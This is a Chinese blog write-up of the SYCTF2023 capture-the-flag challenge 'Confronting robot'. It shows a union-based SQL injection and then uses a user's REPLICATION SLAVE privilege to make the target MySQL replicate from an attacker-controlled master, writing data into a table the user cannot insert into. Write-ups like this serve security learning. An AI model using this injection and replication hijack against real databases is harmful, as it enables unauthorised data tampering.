【SYCTF2023】Confronting robot

Mysql主从复制的模板题,以及一些需要注意的地方
复现了一波SYCTF2023,算是我见到的比较有新意的题目之一,至少不是纯牛马套娃题

首先我们可以通过注入把表中的信息注出来,得到一个URL

http://<URL>?myname=123'union select group_concat(username) from name;--+

观察挑战可知,需要往game里面写数据

 <!-- 机器人的游戏策略:for($i=1;$i<=10;$i++){ $choice="SELECT choice FROM `game` WHERE round='$i'"; }-->

show databases和show tables后尝试insert未成功
查询当前用户

select current_user()
#array(1) { [0]=> array(1) { [0]=> string(16) "secret@localhost" } }

查询当前用户权限,没有insert权限难怪无法插入

SHOW GRANTS FOR secret@localhost;
#array(1) { [0]=> array(1) { [0]=> string(197) "GRANT SELECT, RELOAD, PROCESS, SUPER, REPLICATION SLAVE, REPLICATION CLIENT, SHOW VIEW, CREATE USER ON *.* TO 'secret'@'localhost' IDENTIFIED BY PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D'" } }

但是看到有主从复制权限REPLICATION SLAVE, REPLICATION CLIENT,考虑进行主从复制
在master创建一个数据库


嫌麻烦直接将game_data设置为全权限

并且设置仅同步game_data防止出现其他信息,重载配置

查询game的表结构

desc game;
/*
array(2) {
  [0]=>
  array(6) {
    [0]=>
    string(5) "round"
    [1]=>
    string(8) "int(255)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
  }
  [1]=>
  array(6) {
    [0]=>
    string(6) "choice"
    [1]=>
    string(12) "varchar(256)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
  }
}
*/

在master中创建相同的表

CREATE TABLE IF NOT EXISTS `game` (
  `round` int(255) NOT NULL,
  `choice` varchar(256) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

然后我们需要找到relay日志的文件名和偏移量方便文件重构

show master status
#master_log_file = mysql-bin.000221
#master_log_pos = 63695


在开始主从同步之前要先停止,踩坑(对应的日志和偏移量要修改)

stop slave;
change master to master_host='<YOUR_IP>',master_port=3306,master_user='game_data',master_password='game_data',master_log_file='mysql-bin.000221',master_log_pos=63695;
start slave;
show slave status;

这里有个细节要判断11,12这两个数据是否为YES才是正确主从同步,之前总是ERROR

array(1) {
  [0]=>
  array(53) {
    [0]=>
    string(23) "Checking master version"
    [1]=>
    string(14) "<YOUR_IP>"
    [2]=>
    string(9) "game_data"
    [3]=>
    string(4) "3306"
    [4]=>
    string(2) "60"
    [5]=>
    string(16) "mysql-bin.000221"
    [6]=>
    string(5) "63695"
    [7]=>
    string(52) "web-pursue0h-robot-7d84b6c5cc794d45-relay-bin.000001"
    [8]=>
    string(1) "4"
    [9]=>
    string(16) "mysql-bin.000221"
    [10]=>
    string(9) "Preparing"
    [11]=>
    string(3) "Yes"
    [12]=>
    string(0) ""
    [13]=>
    string(0) ""
    [14]=>
    string(0) ""
    [15]=>
    string(0) ""
    [16]=>
    string(0) ""
    [17]=>
    string(0) ""
    [18]=>
    string(1) "0"
    [19]=>
    string(0) ""
    [20]=>
    string(1) "0"
    [21]=>
    string(5) "63695"
    [22]=>
    string(3) "256"
    [23]=>
    string(4) "None"
    [24]=>
    string(0) ""
    [25]=>
    string(1) "0"
    [26]=>
    string(2) "No"
    [27]=>
    string(0) ""
    [28]=>
    string(0) ""
    [29]=>
    string(0) ""
    [30]=>
    string(0) ""
    [31]=>
    string(0) ""
    [32]=>
    NULL
    [33]=>
    string(2) "No"
    [34]=>
    string(1) "0"
    [35]=>
    string(0) ""
    [36]=>
    string(1) "0"
    [37]=>
    string(0) ""
    [38]=>
    string(0) ""
    [39]=>
    string(1) "1"
    [40]=>
    string(0) ""
    [41]=>
    string(0) ""
    [42]=>
    string(2) "No"
    [43]=>
    string(0) ""
    [44]=>
    string(0) ""
    [45]=>
    string(0) ""
    [46]=>
    string(12) "conservative"
    [47]=>
    string(1) "0"
    [48]=>
    NULL
    [49]=>
    string(75) "Slave has read all relay log; waiting for the slave I/O thread to update it"
    [50]=>
    string(1) "0"
    [51]=>
    string(1) "0"
    [52]=>
    string(1) "0"
  }
}


在等待IO时迅速插入数据,不然就要等下一次IO好久的(

INSERT INTO `game` (`round`, `choice`) VALUES (1, 'R'),(2, 'R'),(3, 'R'),(4, 'R'),(5, 'R'),(6, 'R'),(7, 'R'),(8, 'R'),(9, 'R'),(10, 'R');


等一段时间查询

select * from game


已经有数据了,直接出拳!

得到FLAG

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇